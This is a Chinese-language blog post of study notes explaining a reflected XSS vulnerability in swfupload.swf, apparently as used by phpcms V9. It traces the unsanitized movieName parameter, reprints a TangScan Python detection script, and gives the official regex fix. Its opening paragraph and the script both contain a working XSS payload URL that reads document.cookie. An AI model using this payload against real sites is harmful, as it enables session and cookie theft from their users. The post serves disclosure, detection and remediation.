A-A+

swfupload.swf xss漏洞说明

2018年07月02日 20:28 学习笔记 暂无评论 阅读 348 views 次

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

朋友今天丢来一个网址,然后问我能不能弹窗,   地址是: www.xxxx.com/swf/swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;alert(document.cookie)}}//

一看这个文件,很是熟悉啊,记得,好像有哪个CMS用过这个文件,然后习惯性chrome访问回车,然后,诶???居然是下载这个文件。。。然后听朋友说,最新的火狐不会弹窗?,,,不过还好我的是老版本的,我实验了一下,确实可以弹窗,这个文件以前看过,但是没有细看,今天细细看一下吧。就当是复习功课了。

首先这个文件在第108行定义movieName变量为字符串型,代码如下:

private var movieName:String;

然后继续看,在284行开始获取变量值

this.movieName = root.loaderInfo.parameters.movieName;

this.flashReady_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].flashReady";

this.fileDialogStart_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].fileDialogStart";

this.fileQueued_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueued";

this.fileQueueError_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueueError";

…………//后面就省略了。

 

这里可以看到使用了“root.loaderInfo.parameters”获取名称对应的值。然后直接使用。然后导致问题的出现。

在网上找到一个检测这个漏洞的PY脚本。这个脚本是通过MD5值做对比然后进行检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#! /usr/bin/env python
# -*- coding: utf-8 -*-
 
import md5
from thirdparty import requests
from modules.exploit import TSExploit
 
 
class TangScan(TSExploit):
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            "name": "phpcms V9 /swfupload.swf XSS",
            "product": "phpcmsv9",
            "product_version": "",
            "desc": """
            phpcms V9 /swfupload.swf XSS
            """,
            "license": self.license.TS,
            "author": ["侦探911"],
            "ref": [
                {self.ref.wooyun: "http://www.wooyun.org/bugs/wooyun-2014-069833"},
            ],
            "type": self.type.xss,
            "severity": self.severity.low,
            "privileged": False,
            "disclosure_date": "",
            "create_date": ""
        }
        self.register_option({
            "url": {
                "default": "",
                "required": True,
                "choices": [],
                "convert": self.convert.url_field,
                "desc": ""
            }
        })
        self.register_result({
            "status": False,
            "data": {
 
            },
            "description": "",
            "error": ""
        })
 
    def md5(self, content):
        return md5.new(content).hexdigest()
 
    def verify(self):
        flash_md5 = "3a1c6cc728dddc258091a601f28a9c12"
        exp_url = "{domain}/statics/js/swfupload/swfupload.swf".format(domain=self.option.url.rstrip('/'))
 
        try:
            response = requests.get(exp_url, verify=False, timeout=15)
        except Exception, e:
            self.result.error = str(e)
            return
 
        if self.md5(response.content) == flash_md5:
            self.result.status = True
            self.result.description = "目标 {url} 存在反射XSS, 验证url: {verify_url}".format(
                url=self.option.url,
                verify_url=exp_url + "?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//"
            )
 
    def exploit(self):
        self.verify()
 
 
if __name__ == '__main__':
    from modules.main import main
    main(TangScan()) //这个脚本是TangScan用的。

这里也要说一下这个文件的修复方法,网上官方给出的修复方法是,在第284行下面加入如下代码。
this.movieName = root.loaderInfo.parameters.movieName;
this.movieName = this.movieName.replace(/[^a-zA-Z0-9\_\.\-]/g, ""); //注意多了一行这个代码这里做了一个正则替换

这里再说一个小常识:
如:demo.swf?u1=good&u2=bad
要用到flash.display.loaderInfo类的parameters属性,返回的是一个参数对象
使用方法:
例如在文档类中定义var param:Object = root.loaderInfo.parameters;
如果取u1的值,可以用param["u1"],同样u2的值:param["u2"]

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×
标签:

给我留言